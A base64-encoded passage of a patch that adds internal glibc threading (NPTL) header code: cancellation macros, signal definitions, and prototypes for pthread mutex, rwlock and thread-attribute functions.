bG90IG1vcmUKKyAgIHRlc3RzLiAgKi8KK2V4dGVybiBpbnQgX19wdGhyZWFk
X2RlYnVnIGF0dHJpYnV0ZV9oaWRkZW47CisvKiogRm9yIG5vdyBkaXNhYmxl
IGRlYnVnZ2luZyBzdXBwb3J0LiAgKi8KKyNpZiAwCisjIGRlZmluZSBERUJV
R0dJTkdfUCBfX2J1aWx0aW5fZXhwZWN0IChfX3B0aHJlYWRfZGVidWcsIDAp
CisjIGRlZmluZSBJTlZBTElEX1REX1AocGQpIChERUJVR0dJTkdfUCAmJiBf
X2ZpbmRfaW5fc3RhY2tfbGlzdCAocGQpID09IE5VTEwpCisjIGRlZmluZSBJ
TlZBTElEX05PVF9URVJNSU5BVEVEX1REX1AocGQpIElOVkFMSURfVERfUCAo
cGQpCisjZWxzZQorIyBkZWZpbmUgREVCVUdHSU5HX1AgMAorLyogU2ltcGxp
ZmllZCB0ZXN0LiAgVGhpcyB3aWxsIG5vdCBjYXRjaCBhbGwgaW52YWxpZCBk
ZXNjcmlwdG9ycyBidXQKKyAgIGlzIGJldHRlciB0aGFuIG5vdGhpbmcuICBB
bmQgaWYgdGhlIHRlc3QgdHJpZ2dlcnMgdGhlIHRocmVhZAorICAgZGVzY3Jp
cHRvciBpcyBndWFyYW50ZWVkIHRvIGJlIGludmFsaWQuICAqLworIyBkZWZp
bmUgSU5WQUxJRF9URF9QKHBkKSBfX2J1aWx0aW5fZXhwZWN0ICgocGQpLT50
aWQgPD0gMCwgMCkKKyMgZGVmaW5lIElOVkFMSURfTk9UX1RFUk1JTkFURURf
VERfUChwZCkgX19idWlsdGluX2V4cGVjdCAoKHBkKS0+dGlkIDwgMCwgMCkK
KyNlbmRpZgorCisKKy8qIENhbmNlbGxhdGlvbiB0ZXN0LiAgKi8KKyNkZWZp
bmUgQ0FOQ0VMTEFUSU9OX1Aoc2VsZikgXAorICBkbyB7CQkJCQkJCQkJICAg
ICAgXAorICAgIGludCBjYW5jZWxoYW5kbGluZyA9IFRIUkVBRF9HRVRNRU0g
KHNlbGYsIGNhbmNlbGhhbmRsaW5nKTsJCSAgICAgIFwKKyAgICBpZiAoQ0FO
Q0VMX0VOQUJMRURfQU5EX0NBTkNFTEVEIChjYW5jZWxoYW5kbGluZykpCQkJ
ICAgICAgXAorICAgICAgewkJCQkJCQkJCSAgICAgIFwKKwlUSFJFQURfU0VU
TUVNIChzZWxmLCByZXN1bHQsIFBUSFJFQURfQ0FOQ0VMRUQpOwkJCSAgICAg
IFwKKwlfX2RvX2NhbmNlbCAoKTsJCQkJCQkJICAgICAgXAorICAgICAgfQkJ
CQkJCQkJCSAgICAgIFwKKyAgfSB3aGlsZSAoMCkKKworCitleHRlcm4gdm9p
ZCBfX3B0aHJlYWRfdW53aW5kIChfX3B0aHJlYWRfdW53aW5kX2J1Zl90ICpf
X2J1ZikKKyAgICAgX19jbGVhbnVwX2ZjdF9hdHRyaWJ1dGUgX19hdHRyaWJ1
dGUgKChfX25vcmV0dXJuX18pKQorI2lmICFkZWZpbmVkIFNIQVJFRCAmJiAh
ZGVmaW5lZCBJU19JTl9saWJwdGhyZWFkCisgICAgIHdlYWtfZnVuY3Rpb24K
KyNlbmRpZgorICAgICA7CitleHRlcm4gdm9pZCBfX3B0aHJlYWRfdW53aW5k
X25leHQgKF9fcHRocmVhZF91bndpbmRfYnVmX3QgKl9fYnVmKQorICAgICBf
X2NsZWFudXBfZmN0X2F0dHJpYnV0ZSBfX2F0dHJpYnV0ZSAoKF9fbm9yZXR1
cm5fXykpCisjaWZuZGVmIFNIQVJFRAorICAgICB3ZWFrX2Z1bmN0aW9uCisj
ZW5kaWYKKyAgICAgOworZXh0ZXJuIHZvaWQgX19wdGhyZWFkX3JlZ2lzdGVy
X2NhbmNlbCAoX19wdGhyZWFkX3Vud2luZF9idWZfdCAqX19idWYpCisgICAg
IF9fY2xlYW51cF9mY3RfYXR0cmlidXRlOworZXh0ZXJuIHZvaWQgX19wdGhy
ZWFkX3VucmVnaXN0ZXJfY2FuY2VsIChfX3B0aHJlYWRfdW53aW5kX2J1Zl90
ICpfX2J1ZikKKyAgICAgX19jbGVhbnVwX2ZjdF9hdHRyaWJ1dGU7CisjaWYg
ZGVmaW5lZCBOT1RfSU5fbGliYyAmJiBkZWZpbmVkIElTX0lOX2xpYnB0aHJl
YWQKK2hpZGRlbl9wcm90byAoX19wdGhyZWFkX3Vud2luZCkKK2hpZGRlbl9w
cm90byAoX19wdGhyZWFkX3Vud2luZF9uZXh0KQoraGlkZGVuX3Byb3RvIChf
X3B0aHJlYWRfcmVnaXN0ZXJfY2FuY2VsKQoraGlkZGVuX3Byb3RvIChfX3B0
aHJlYWRfdW5yZWdpc3Rlcl9jYW5jZWwpCisjIGlmZGVmIFNIQVJFRAorZXh0
ZXJuIHZvaWQgYXR0cmlidXRlX2hpZGRlbiBwdGhyZWFkX2NhbmNlbF9pbml0
ICh2b2lkKTsKK2V4dGVybiB2b2lkIF9fdW53aW5kX2ZyZWVyZXMgKHZvaWQp
OworIyBlbmRpZgorI2VuZGlmCisKKworLyogQ2FsbGVkIHdoZW4gYSB0aHJl
YWQgcmVhY3RzIG9uIGEgY2FuY2VsbGF0aW9uIHJlcXVlc3QuICAqLworc3Rh
dGljIGlubGluZSB2b2lkCitfX2F0dHJpYnV0ZSAoKG5vcmV0dXJuLCBhbHdh
eXNfaW5saW5lKSkKK19fZG9fY2FuY2VsICh2b2lkKQoreworICBzdHJ1Y3Qg
cHRocmVhZCAqc2VsZiA9IFRIUkVBRF9TRUxGOworCisgIC8qIE1ha2Ugc3Vy
ZSB3ZSBnZXQgbm8gbW9yZSBjYW5jZWxsYXRpb25zLiAgKi8KKyAgVEhSRUFE
X0FUT01JQ19CSVRfU0VUIChzZWxmLCBjYW5jZWxoYW5kbGluZywgRVhJVElO
R19CSVQpOworCisgIF9fcHRocmVhZF91bndpbmQgKChfX3B0aHJlYWRfdW53
aW5kX2J1Zl90ICopCisJCSAgICBUSFJFQURfR0VUTUVNIChzZWxmLCBjbGVh
bnVwX2ptcF9idWYpKTsKK30KKworCisvKiBTZXQgY2FuY2VsbGF0aW9uIG1v
ZGUgdG8gYXN5bmNocm9ub3VzLiAgKi8KKyNkZWZpbmUgQ0FOQ0VMX0FTWU5D
KCkgXAorICBfX3B0aHJlYWRfZW5hYmxlX2FzeW5jY2FuY2VsICgpCisvKiBS
ZXNldCB0byBwcmV2aW91cyBjYW5jZWxsYXRpb24gbW9kZS4gICovCisjZGVm
aW5lIENBTkNFTF9SRVNFVChvbGR0eXBlKSBcCisgIF9fcHRocmVhZF9kaXNh
YmxlX2FzeW5jY2FuY2VsIChvbGR0eXBlKQorCisjaWYgIWRlZmluZWQgTk9U
X0lOX2xpYmMKKy8qIFNhbWUgYXMgQ0FOQ0VMX0FTWU5DLCBidXQgZm9yIHVz
ZSBpbiBsaWJjLnNvLiAgKi8KKyMgZGVmaW5lIExJQkNfQ0FOQ0VMX0FTWU5D
KCkgXAorICBfX2xpYmNfZW5hYmxlX2FzeW5jY2FuY2VsICgpCisvKiBTYW1l
IGFzIENBTkNFTF9SRVNFVCwgYnV0IGZvciB1c2UgaW4gbGliYy5zby4gICov
CisjIGRlZmluZSBMSUJDX0NBTkNFTF9SRVNFVChvbGR0eXBlKSBcCisgIF9f
bGliY19kaXNhYmxlX2FzeW5jY2FuY2VsIChvbGR0eXBlKQorIyBkZWZpbmUg
TElCQ19DQU5DRUxfSEFORExFRCgpIFwKKyAgX19hc20gKCIuZ2xvYmwgIiBf
X1NZTUJPTF9QUkVGSVggIl9fbGliY19lbmFibGVfYXN5bmNjYW5jZWwiKTsg
XAorICBfX2FzbSAoIi5nbG9ibCAiIF9fU1lNQk9MX1BSRUZJWCAiX19saWJj
X2Rpc2FibGVfYXN5bmNjYW5jZWwiKQorI2VsaWYgZGVmaW5lZCBOT1RfSU5f
bGliYyAmJiBkZWZpbmVkIElTX0lOX2xpYnB0aHJlYWQKKyMgZGVmaW5lIExJ
QkNfQ0FOQ0VMX0FTWU5DKCkgQ0FOQ0VMX0FTWU5DICgpCisjIGRlZmluZSBM
SUJDX0NBTkNFTF9SRVNFVCh2YWwpIENBTkNFTF9SRVNFVCAodmFsKQorIyBk
ZWZpbmUgTElCQ19DQU5DRUxfSEFORExFRCgpIFwKKyAgX19hc20gKCIuZ2xv
YmwgIiBfX1NZTUJPTF9QUkVGSVggIl9fcHRocmVhZF9lbmFibGVfYXN5bmNj
YW5jZWwiKTsgXAorICBfX2FzbSAoIi5nbG9ibCAiIF9fU1lNQk9MX1BSRUZJ
WCAiX19wdGhyZWFkX2Rpc2FibGVfYXN5bmNjYW5jZWwiKQorI2VsaWYgZGVm
aW5lZCBOT1RfSU5fbGliYyAmJiBkZWZpbmVkIElTX0lOX2xpYnJ0CisjIGRl
ZmluZSBMSUJDX0NBTkNFTF9BU1lOQygpIFwKKyAgX19saWJydF9lbmFibGVf
YXN5bmNjYW5jZWwgKCkKKyMgZGVmaW5lIExJQkNfQ0FOQ0VMX1JFU0VUKHZh
bCkgXAorICBfX2xpYnJ0X2Rpc2FibGVfYXN5bmNjYW5jZWwgKHZhbCkKKyMg
ZGVmaW5lIExJQkNfQ0FOQ0VMX0hBTkRMRUQoKSBcCisgIF9fYXNtICgiLmds
b2JsICIgX19TWU1CT0xfUFJFRklYICJfX2xpYnJ0X2VuYWJsZV9hc3luY2Nh
bmNlbCIpOyBcCisgIF9fYXNtICgiLmdsb2JsICIgX19TWU1CT0xfUFJFRklY
ICJfX2xpYnJ0X2Rpc2FibGVfYXN5bmNjYW5jZWwiKQorI2Vsc2UKKyMgZGVm
aW5lIExJQkNfQ0FOQ0VMX0FTWU5DKCkJMCAvKiBKdXN0IGEgZHVtbXkgdmFs
dWUuICAqLworIyBkZWZpbmUgTElCQ19DQU5DRUxfUkVTRVQodmFsKQkoKHZv
aWQpKHZhbCkpIC8qIE5vdGhpbmcsIGJ1dCBldmFsdWF0ZSBpdC4gICovCisj
IGRlZmluZSBMSUJDX0NBTkNFTF9IQU5ETEVEKCkJLyogTm90aGluZy4gICov
CisjZW5kaWYKKworLyogVGhlIHNpZ25hbCB1c2VkIGZvciBhc3luY2hyb25v
dXMgY2FuY2VsYXRpb24uICAqLworI2RlZmluZSBTSUdDQU5DRUwJX19TSUdS
VE1JTgorCisKKy8qIFNpZ25hbCBuZWVkZWQgZm9yIHRoZSBrZXJuZWwtc3Vw
cG9ydGVkIFBPU0lYIHRpbWVyIGltcGxlbWVudGF0aW9uLgorICAgV2UgY2Fu
IHJldXNlIHRoZSBjYW5jZWxsYXRpb24gc2lnbmFsIHNpbmNlIHdlIGNhbiBk
aXN0aW5ndWlzaAorICAgY2FuY2VsbGF0aW9uIGZyb20gdGltZXIgZXhwaXJh
dGlvbnMuICAqLworI2RlZmluZSBTSUdUSU1FUglTSUdDQU5DRUwKKworCisv
KiBTaWduYWwgdXNlZCB0byBpbXBsZW1lbnQgdGhlIHNldHVpZCBldC5hbC4g
ZnVuY3Rpb25zLiAgKi8KKyNkZWZpbmUgU0lHU0VUWElECShfX1NJR1JUTUlO
ICsgMSkKKworLyogVXNlZCB0byBjb21tdW5pY2F0ZSB3aXRoIHNpZ25hbCBo
YW5kbGVyLiAgKi8KK2V4dGVybiBzdHJ1Y3QgeGlkX2NvbW1hbmQgKl9feGlk
Y21kIGF0dHJpYnV0ZV9oaWRkZW47CisKKworLyogSW50ZXJuYWwgcHJvdG90
eXBlcy4gICovCisKKy8qIFRocmVhZCBsaXN0IGhhbmRsaW5nLiAgKi8KK2V4
dGVybiBzdHJ1Y3QgcHRocmVhZCAqX19maW5kX2luX3N0YWNrX2xpc3QgKHN0
cnVjdCBwdGhyZWFkICpwZCkKKyAgICAgYXR0cmlidXRlX2hpZGRlbiBpbnRl
cm5hbF9mdW5jdGlvbjsKKworLyogRGVhbGxvY2F0ZSBhIHRocmVhZCdzIHN0
YWNrIGFmdGVyIG9wdGlvbmFsbHkgbWFraW5nIHN1cmUgdGhlIHRocmVhZAor
ICAgZGVzY3JpcHRvciBpcyBzdGlsbCB2YWxpZC4gICovCitleHRlcm4gdm9p
ZCBfX2ZyZWVfdGNiIChzdHJ1Y3QgcHRocmVhZCAqcGQpIGF0dHJpYnV0ZV9o
aWRkZW4gaW50ZXJuYWxfZnVuY3Rpb247CisKKy8qIEZyZWUgYWxsb2NhdGVk
IHN0YWNrLiAgKi8KK2V4dGVybiB2b2lkIF9fZGVhbGxvY2F0ZV9zdGFjayAo
c3RydWN0IHB0aHJlYWQgKnBkKQorICAgICBhdHRyaWJ1dGVfaGlkZGVuIGlu
dGVybmFsX2Z1bmN0aW9uOworCisvKiBNYXJrIGFsbCB0aGUgc3RhY2tzIGV4
Y2VwdCBmb3IgdGhlIGN1cnJlbnQgb25lIGFzIGF2YWlsYWJsZS4gIFRoaXMK
KyAgIGZ1bmN0aW9uIGFsc28gcmUtaW5pdGlhbGl6ZXMgdGhlIGxvY2sgZm9y
IHRoZSBzdGFjayBjYWNoZS4gICovCitleHRlcm4gdm9pZCBfX3JlY2xhaW1f
c3RhY2tzICh2b2lkKSBhdHRyaWJ1dGVfaGlkZGVuOworCisvKiBNYWtlIGFs
bCB0aHJlYWRzJ3Mgc3RhY2tzIGV4ZWN1dGFibGUuICAqLworZXh0ZXJuIGlu
dCBfX21ha2Vfc3RhY2tzX2V4ZWN1dGFibGUgKHZvaWQgKipzdGFja19lbmRw
KQorICAgICBpbnRlcm5hbF9mdW5jdGlvbiBhdHRyaWJ1dGVfaGlkZGVuOwor
CisvKiBsb25nam1wIGhhbmRsaW5nLiAgKi8KK2V4dGVybiB2b2lkIF9fcHRo
cmVhZF9jbGVhbnVwX3VwdG8gKF9fam1wX2J1ZiB0YXJnZXQsIGNoYXIgKnRh
cmdldGZyYW1lKTsKKyNpZiBkZWZpbmVkIE5PVF9JTl9saWJjICYmIGRlZmlu
ZWQgSVNfSU5fbGlicHRocmVhZAoraGlkZGVuX3Byb3RvIChfX3B0aHJlYWRf
Y2xlYW51cF91cHRvKQorI2VuZGlmCisKKworLyogRnVuY3Rpb25zIHdpdGgg
dmVyc2lvbmVkIGludGVyZmFjZXMuICAqLworZXh0ZXJuIGludCBfX3B0aHJl
YWRfY3JlYXRlXzJfMSAocHRocmVhZF90ICpuZXd0aHJlYWQsCisJCQkJIGNv
bnN0IHB0aHJlYWRfYXR0cl90ICphdHRyLAorCQkJCSB2b2lkICooKnN0YXJ0
X3JvdXRpbmUpICh2b2lkICopLCB2b2lkICphcmcpOworZXh0ZXJuIGludCBf
X3B0aHJlYWRfY3JlYXRlXzJfMCAocHRocmVhZF90ICpuZXd0aHJlYWQsCisJ
CQkJIGNvbnN0IHB0aHJlYWRfYXR0cl90ICphdHRyLAorCQkJCSB2b2lkICoo
KnN0YXJ0X3JvdXRpbmUpICh2b2lkICopLCB2b2lkICphcmcpOworZXh0ZXJu
IGludCBfX3B0aHJlYWRfYXR0cl9pbml0XzJfMSAocHRocmVhZF9hdHRyX3Qg
KmF0dHIpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfYXR0cl9pbml0XzJfMCAo
cHRocmVhZF9hdHRyX3QgKmF0dHIpOworCisKKy8qIEV2ZW50IGhhbmRsZXJz
IGZvciBsaWJ0aHJlYWRfZGIgaW50ZXJmYWNlLiAgKi8KK2V4dGVybiB2b2lk
IF9fbnB0bF9jcmVhdGVfZXZlbnQgKHZvaWQpOworZXh0ZXJuIHZvaWQgX19u
cHRsX2RlYXRoX2V2ZW50ICh2b2lkKTsKK2hpZGRlbl9wcm90byAoX19ucHRs
X2NyZWF0ZV9ldmVudCkKK2hpZGRlbl9wcm90byAoX19ucHRsX2RlYXRoX2V2
ZW50KQorCisvKiBSZWdpc3RlciB0aGUgZ2VuZXJhdGlvbiBjb3VudGVyIGlu
IHRoZSBsaWJwdGhyZWFkIHdpdGggdGhlIGxpYmMuICAqLworI2lmZGVmIFRM
U19NVUxUSVBMRV9USFJFQURTX0lOX1RDQgorZXh0ZXJuIHZvaWQgX19saWJj
X3B0aHJlYWRfaW5pdCAodW5zaWduZWQgbG9uZyBpbnQgKnB0ciwKKwkJCQkg
dm9pZCAoKnJlY2xhaW0pICh2b2lkKSwKKwkJCQkgY29uc3Qgc3RydWN0IHB0
aHJlYWRfZnVuY3Rpb25zICpmdW5jdGlvbnMpCisgICAgIGludGVybmFsX2Z1
bmN0aW9uOworI2Vsc2UKK2V4dGVybiBpbnQgKl9fbGliY19wdGhyZWFkX2lu
aXQgKHVuc2lnbmVkIGxvbmcgaW50ICpwdHIsCisJCQkJIHZvaWQgKCpyZWNs
YWltKSAodm9pZCksCisJCQkJIGNvbnN0IHN0cnVjdCBwdGhyZWFkX2Z1bmN0
aW9ucyAqZnVuY3Rpb25zKQorICAgICBpbnRlcm5hbF9mdW5jdGlvbjsKKwor
LyogVmFyaWFibGUgc2V0IHRvIGEgbm9uemVybyB2YWx1ZSBpZiBtb3JlIHRo
YW4gb25lIHRocmVhZCBydW5zIG9yIHJhbi4gICovCitleHRlcm4gaW50IF9f
cHRocmVhZF9tdWx0aXBsZV90aHJlYWRzIGF0dHJpYnV0ZV9oaWRkZW47Cisv
KiBQb2ludGVyIHRvIHRoZSBjb3JyZXNwb25kaW5nIHZhcmlhYmxlIGluIGxp
YmMuICAqLworZXh0ZXJuIGludCAqX19saWJjX211bHRpcGxlX3RocmVhZHNf
cHRyIGF0dHJpYnV0ZV9oaWRkZW47CisjZW5kaWYKKworLyogRmluZCBhIHRo
cmVhZCBnaXZlbiBpdHMgVElELiAgKi8KK2V4dGVybiBzdHJ1Y3QgcHRocmVh
ZCAqX19maW5kX3RocmVhZF9ieV9pZCAocGlkX3QgdGlkKSBhdHRyaWJ1dGVf
aGlkZGVuCisjaWZkZWYgU0hBUkVECis7CisjZWxzZQord2Vha19mdW5jdGlv
bjsKKyNkZWZpbmUgX19maW5kX3RocmVhZF9ieV9pZCh0aWQpIFwKKyAgKF9f
ZmluZF90aHJlYWRfYnlfaWQgPyAoX19maW5kX3RocmVhZF9ieV9pZCkgKHRp
ZCkgOiAoc3RydWN0IHB0aHJlYWQgKikgTlVMTCkKKyNlbmRpZgorCitleHRl
cm4gdm9pZCBfX3B0aHJlYWRfaW5pdF9zdGF0aWNfdGxzIChzdHJ1Y3QgbGlu
a19tYXAgKikgYXR0cmlidXRlX2hpZGRlbjsKKworCisvKiBOYW1lc3BhY2Ug
c2F2ZSBhbGlhc2VzLiAgKi8KK2V4dGVybiBpbnQgX19wdGhyZWFkX2dldHNj
aGVkcGFyYW0gKHB0aHJlYWRfdCB0aHJlYWRfaWQsIGludCAqcG9saWN5LAor
CQkJCSAgICBzdHJ1Y3Qgc2NoZWRfcGFyYW0gKnBhcmFtKTsKK2V4dGVybiBp
bnQgX19wdGhyZWFkX3NldHNjaGVkcGFyYW0gKHB0aHJlYWRfdCB0aHJlYWRf
aWQsIGludCBwb2xpY3ksCisJCQkJICAgIGNvbnN0IHN0cnVjdCBzY2hlZF9w
YXJhbSAqcGFyYW0pOworZXh0ZXJuIGludCBfX3B0aHJlYWRfc2V0Y2FuY2Vs
c3RhdGUgKGludCBzdGF0ZSwgaW50ICpvbGRzdGF0ZSk7CitleHRlcm4gaW50
IF9fcHRocmVhZF9tdXRleF9pbml0IChwdGhyZWFkX211dGV4X3QgKl9fbXV0
ZXgsCisJCQkJIF9fY29uc3QgcHRocmVhZF9tdXRleGF0dHJfdCAqX19tdXRl
eGF0dHIpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfbXV0ZXhfaW5pdF9pbnRl
cm5hbCAocHRocmVhZF9tdXRleF90ICpfX211dGV4LAorCQkJCQkgIF9fY29u
c3QgcHRocmVhZF9tdXRleGF0dHJfdCAqX19tdXRleGF0dHIpCisgICAgIGF0
dHJpYnV0ZV9oaWRkZW47CitleHRlcm4gaW50IF9fcHRocmVhZF9tdXRleF9k
ZXN0cm95IChwdGhyZWFkX211dGV4X3QgKl9fbXV0ZXgpOworZXh0ZXJuIGlu
dCBfX3B0aHJlYWRfbXV0ZXhfZGVzdHJveV9pbnRlcm5hbCAocHRocmVhZF9t
dXRleF90ICpfX211dGV4KQorICAgICBhdHRyaWJ1dGVfaGlkZGVuOworZXh0
ZXJuIGludCBfX3B0aHJlYWRfbXV0ZXhfdHJ5bG9jayAocHRocmVhZF9tdXRl
eF90ICpfbXV0ZXgpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfbXV0ZXhfbG9j
ayAocHRocmVhZF9tdXRleF90ICpfX211dGV4KTsKK2V4dGVybiBpbnQgX19w
dGhyZWFkX211dGV4X2xvY2tfaW50ZXJuYWwgKHB0aHJlYWRfbXV0ZXhfdCAq
X19tdXRleCkKKyAgICAgYXR0cmlidXRlX2hpZGRlbjsKK2V4dGVybiBpbnQg
X19wdGhyZWFkX211dGV4X2NvbmRfbG9jayAocHRocmVhZF9tdXRleF90ICpf
X211dGV4KQorICAgICBhdHRyaWJ1dGVfaGlkZGVuIGludGVybmFsX2Z1bmN0
aW9uOworZXh0ZXJuIGludCBfX3B0aHJlYWRfbXV0ZXhfdW5sb2NrIChwdGhy
ZWFkX211dGV4X3QgKl9fbXV0ZXgpOworZXh0ZXJuIGludCBfX3B0aHJlYWRf
bXV0ZXhfdW5sb2NrX2ludGVybmFsIChwdGhyZWFkX211dGV4X3QgKl9fbXV0
ZXgpCisgICAgIGF0dHJpYnV0ZV9oaWRkZW47CitleHRlcm4gaW50IF9fcHRo
cmVhZF9tdXRleF91bmxvY2tfdXNlcmNudCAocHRocmVhZF9tdXRleF90ICpf
X211dGV4LAorCQkJCQkgICBpbnQgX19kZWNyKQorICAgICBhdHRyaWJ1dGVf
aGlkZGVuIGludGVybmFsX2Z1bmN0aW9uOworCitleHRlcm4gaW50IF9fcHRo
cmVhZF9tdXRleF9pbml0X2hwcGFfMl8wIChwdGhyZWFkX211dGV4X2hwcGFf
Ml8wX3QgKl9fbXV0ZXgsCisJCQkJIF9fY29uc3QgcHRocmVhZF9tdXRleGF0
dHJfdCAqX19tdXRleGF0dHIpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfbXV0
ZXhfZGVzdHJveV9ocHBhXzJfMCAocHRocmVhZF9tdXRleF9ocHBhXzJfMF90
ICpfX211dGV4KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX211dGV4X2hwcGFf
Ml8wX3RyeWxvY2tfaHBwYV8yXzAgKHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBf
dCAqX211dGV4KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX211dGV4X2xvY2tf
aHBwYV8yXzAgKHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqX19tdXRleCk7
CitleHRlcm4gaW50IF9fcHRocmVhZF9tdXRleF91bmxvY2tfaHBwYV8yXzAg
KHB0aHJlYWRfbXV0ZXhfaHBwYV8yXzBfdCAqX19tdXRleCk7CisKK2V4dGVy
biBpbnQgX19wdGhyZWFkX211dGV4YXR0cl9pbml0IChwdGhyZWFkX211dGV4
YXR0cl90ICphdHRyKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX211dGV4YXR0
cl9kZXN0cm95IChwdGhyZWFkX211dGV4YXR0cl90ICphdHRyKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX211dGV4YXR0cl9zZXR0eXBlIChwdGhyZWFkX211
dGV4YXR0cl90ICphdHRyLCBpbnQga2luZCk7CitleHRlcm4gaW50IF9fcHRo
cmVhZF9hdHRyX2Rlc3Ryb3kgKHB0aHJlYWRfYXR0cl90ICphdHRyKTsKK2V4
dGVybiBpbnQgX19wdGhyZWFkX2F0dHJfZ2V0ZGV0YWNoc3RhdGUgKGNvbnN0
IHB0aHJlYWRfYXR0cl90ICphdHRyLAorCQkJCQkgIGludCAqZGV0YWNoc3Rh
dGUpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfYXR0cl9zZXRkZXRhY2hzdGF0
ZSAocHRocmVhZF9hdHRyX3QgKmF0dHIsCisJCQkJCSAgaW50IGRldGFjaHN0
YXRlKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2F0dHJfZ2V0aW5oZXJpdHNj
aGVkIChjb25zdCBwdGhyZWFkX2F0dHJfdCAqYXR0ciwKKwkJCQkJICAgaW50
ICppbmhlcml0KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2F0dHJfc2V0aW5o
ZXJpdHNjaGVkIChwdGhyZWFkX2F0dHJfdCAqYXR0ciwgaW50IGluaGVyaXQp
OworZXh0ZXJuIGludCBfX3B0aHJlYWRfYXR0cl9nZXRzY2hlZHBhcmFtIChj
b25zdCBwdGhyZWFkX2F0dHJfdCAqYXR0ciwKKwkJCQkJIHN0cnVjdCBzY2hl
ZF9wYXJhbSAqcGFyYW0pOworZXh0ZXJuIGludCBfX3B0aHJlYWRfYXR0cl9z
ZXRzY2hlZHBhcmFtIChwdGhyZWFkX2F0dHJfdCAqYXR0ciwKKwkJCQkJIGNv
bnN0IHN0cnVjdCBzY2hlZF9wYXJhbSAqcGFyYW0pOworZXh0ZXJuIGludCBf
X3B0aHJlYWRfYXR0cl9nZXRzY2hlZHBvbGljeSAoY29uc3QgcHRocmVhZF9h
dHRyX3QgKmF0dHIsCisJCQkJCSAgaW50ICpwb2xpY3kpOworZXh0ZXJuIGlu
dCBfX3B0aHJlYWRfYXR0cl9zZXRzY2hlZHBvbGljeSAocHRocmVhZF9hdHRy
X3QgKmF0dHIsIGludCBwb2xpY3kpOworZXh0ZXJuIGludCBfX3B0aHJlYWRf
YXR0cl9nZXRzY29wZSAoY29uc3QgcHRocmVhZF9hdHRyX3QgKmF0dHIsIGlu
dCAqc2NvcGUpOworZXh0ZXJuIGludCBfX3B0aHJlYWRfYXR0cl9zZXRzY29w
ZSAocHRocmVhZF9hdHRyX3QgKmF0dHIsIGludCBzY29wZSk7CitleHRlcm4g
aW50IF9fcHRocmVhZF9hdHRyX2dldHN0YWNrYWRkciAoX19jb25zdCBwdGhy
ZWFkX2F0dHJfdCAqX19yZXN0cmljdAorCQkJCQlfX2F0dHIsIHZvaWQgKipf
X3Jlc3RyaWN0IF9fc3RhY2thZGRyKTsKK2V4dGVybiBpbnQgX19wdGhyZWFk
X2F0dHJfc2V0c3RhY2thZGRyIChwdGhyZWFkX2F0dHJfdCAqX19hdHRyLAor
CQkJCQl2b2lkICpfX3N0YWNrYWRkcik7CitleHRlcm4gaW50IF9fcHRocmVh
ZF9hdHRyX2dldHN0YWNrc2l6ZSAoX19jb25zdCBwdGhyZWFkX2F0dHJfdCAq
X19yZXN0cmljdAorCQkJCQlfX2F0dHIsCisJCQkJCXNpemVfdCAqX19yZXN0
cmljdCBfX3N0YWNrc2l6ZSk7CitleHRlcm4gaW50IF9fcHRocmVhZF9hdHRy
X3NldHN0YWNrc2l6ZSAocHRocmVhZF9hdHRyX3QgKl9fYXR0ciwKKwkJCQkJ
c2l6ZV90IF9fc3RhY2tzaXplKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2F0
dHJfZ2V0c3RhY2sgKF9fY29uc3QgcHRocmVhZF9hdHRyX3QgKl9fcmVzdHJp
Y3QgX19hdHRyLAorCQkJCSAgICB2b2lkICoqX19yZXN0cmljdCBfX3N0YWNr
YWRkciwKKwkJCQkgICAgc2l6ZV90ICpfX3Jlc3RyaWN0IF9fc3RhY2tzaXpl
KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX2F0dHJfc2V0c3RhY2sgKHB0aHJl
YWRfYXR0cl90ICpfX2F0dHIsIHZvaWQgKl9fc3RhY2thZGRyLAorCQkJCSAg
ICBzaXplX3QgX19zdGFja3NpemUpOworZXh0ZXJuIGludCBfX3B0aHJlYWRf
cndsb2NrX2luaXQgKHB0aHJlYWRfcndsb2NrX3QgKl9fcmVzdHJpY3QgX19y
d2xvY2ssCisJCQkJICBfX2NvbnN0IHB0aHJlYWRfcndsb2NrYXR0cl90ICpf
X3Jlc3RyaWN0CisJCQkJICBfX2F0dHIpOworZXh0ZXJuIGludCBfX3B0aHJl
YWRfcndsb2NrX2Rlc3Ryb3kgKHB0aHJlYWRfcndsb2NrX3QgKl9fcndsb2Nr
KTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja19yZGxvY2sgKHB0aHJl
YWRfcndsb2NrX3QgKl9fcndsb2NrKTsKK2V4dGVybiBpbnQgX19wdGhyZWFk
X3J3bG9ja19yZGxvY2tfaW50ZXJuYWwgKHB0aHJlYWRfcndsb2NrX3QgKl9f
cndsb2NrKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja190cnlyZGxv
Y2sgKHB0aHJlYWRfcndsb2NrX3QgKl9fcndsb2NrKTsKK2V4dGVybiBpbnQg
X19wdGhyZWFkX3J3bG9ja193cmxvY2sgKHB0aHJlYWRfcndsb2NrX3QgKl9f
cndsb2NrKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9ja193cmxvY2tf
aW50ZXJuYWwgKHB0aHJlYWRfcndsb2NrX3QgKl9fcndsb2NrKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX3J3bG9ja190cnl3cmxvY2sgKHB0aHJlYWRfcnds
b2NrX3QgKl9fcndsb2NrKTsKK2V4dGVybiBpbnQgX19wdGhyZWFkX3J3bG9j
a191bmxvY2sgKHB0aHJlYWRfcndsb2NrX3QgKl9fcndsb2NrKTsKK2V4dGVy
biBpbnQgX19wdGhyZWFkX3J3bG9ja191bmxvY2tfaW50ZXJuYWwgKHB0aHJl
YWRfcndsb2NrX3QgKl9fcndsb2NrKTsKKworZXh0ZXJuIGludCBfX3B0aHJl
